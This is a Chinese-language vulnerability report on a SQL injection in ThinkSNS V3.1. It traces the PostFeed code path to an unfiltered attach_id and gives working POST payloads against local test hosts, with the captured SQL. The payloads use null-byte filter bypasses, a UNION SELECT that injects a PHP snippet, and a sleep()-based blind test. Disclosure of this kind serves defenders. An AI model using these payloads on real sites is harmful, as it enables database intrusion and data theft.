这个代码跟的我好辛苦啊:
跟进去put:
再跟进去addAtme:
继续跟进getUids:
再看看getSourceInfo:
再跟进去getInfoFromFeed :
再跟进getFeedInfo:
第一步:
$fd = unserialize($data['feed_data']);
第二步:
$attach = model('Attach')->getAttachByIds($fd['attach_id']);
这时候 在跟进到getAttachByIds 这里面:
造成一个看起来和二次注意一样的,但是又没有任何限制的注入:
构造url:
http://localhost/ThinkSNS_V3.1_20131108_28822/index.php?app=public&mod=Feed&act=PostFeed
postdata:
type=xxxxx&content=yyyy&body=xxxx&source_url=xxxx&attach_id=1)) uni%00on select 0x273c3f70687020706870696e666f28293f3e27 ,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 fro%00m `ts_attach` #
后台抓取的sql:
2015/2/5 20:48 SELECT * FROM `ts_attach` WHERE ( `attach_id` IN (1)) union select 0x273c3f70687020706870696e666f28293f3e27 ,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 from `ts_attach` #) )
触发漏洞条件
1.注册一个普通用户
2.refresh只要是本站就可以我们设置为http://localhost:8081/ThinkSNS/index.php?app=public&mod=Feed&act=PostFeed
3.为了明显期间我们采用延时盲注进行测试
发送url:
http://localhost:8081/ThinkSNS/index.php?app=public&mod=Feed&act=PostFeed
postdata:
type=xxxxx&content=yyyy&body=xxxx&source_url=xxxx&attach_id=1)) uni%00on sele%00ct sle%00ep(1%2f10),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 fro%00m `ts_attach` #
referer:
http://localhost:8081/ThinkSNS/index.php?app=public&mod=Feed&act=PostFeed
后台抓取sql为:
2015/3/2 13:22 SELECT * FROM `ts_attach` WHERE ( `attach_id` IN (1)) union select sleep(1/10),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 from `ts_attach` #) )